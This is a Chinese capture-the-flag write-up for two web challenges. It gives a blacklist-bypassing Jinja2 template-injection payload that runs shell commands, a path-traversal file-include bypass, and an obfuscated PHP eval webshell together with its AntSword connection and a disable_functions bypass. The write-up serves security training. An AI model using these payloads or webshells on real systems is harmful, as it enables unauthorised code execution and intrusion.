2024长城杯CCB Web Writeup

safe_proxy

php 复制代码
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

这里

复制代码
result = render_template_string(template_code)

明显的模板注入

先本地测试一下

复制代码
    app.route('/', methods=["POST"])
    def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    # print(result)
    # return 'ok' if result is not None else 'error'
    return result

使用fenjing工具拿到payload

复制代码
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ua='so'[::-1]%}{{cycler.next[gl][bu][im](ua)['p''open']('ls').read()}}"}

之后将flag文件输出到app.py

复制代码
cat /flag > app.py

payload为

复制代码
%7b%25%73%65%74%20%67%6c%3d%27%5f%27%2a%32%2b%27%67%6c%6f%62%61%6c%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%62%75%3d%27%5f%27%2a%32%2b%27%62%75%69%6c%74%69%6e%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%69%6d%3d%27%5f%27%2a%32%2b%27%69%27%27%6d%70%6f%72%74%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%75%61%3d%27%73%6f%27%5b%3a%3a%2d%31%5d%25%7d%7b%7b%63%79%63%6c%65%72%2e%6e%65%78%74%5b%67%6c%5d%5b%62%75%5d%5b%69%6d%5d%28%75%61%29%5b%27%70%27%27%6f%70%65%6e%27%5d%28%27%63%61%74%20%2f%66%6c%61%67%20%3e%20%61%70%70%2e%70%79%27%29%2e%72%65%61%64%28%29%7d%7d%22%7d

hello_web

代码和SKCTF2017的源码类似,但思路完全不同

猜测代码如下:

php 复制代码
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file)>=70) //再加上替换掉..
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//hackme.php

php 复制代码
<?php
highlight_file(__FILE__);

$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $lapUCm;
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
echo $YwzIst;
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
echo $OxirhK;
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
echo $YpAUWC;
$rVkKjU=$lapUCm{7}.$lapUCm{13};
echo $rVkKjU;
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst;
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));

解得:

复制代码
<?php @eval($_POST['cmd_66.99']); ?>

无法正常传参,绕过:cmd[66.99

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//tips.php

phpinfo

信息:disable_functions,php7.3.4

这时候可以用AntSword连接了,http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//hackme.php,密码cmd\[66.99

进去后没有权限

用蚁剑插件绕过disable_functions

重新建一个1.php,再执行绕过

最后连接

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/.antproxy.php

密码1

进去后

复制代码
find . -type f -name '*flag*'

找到flag,打开就行

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php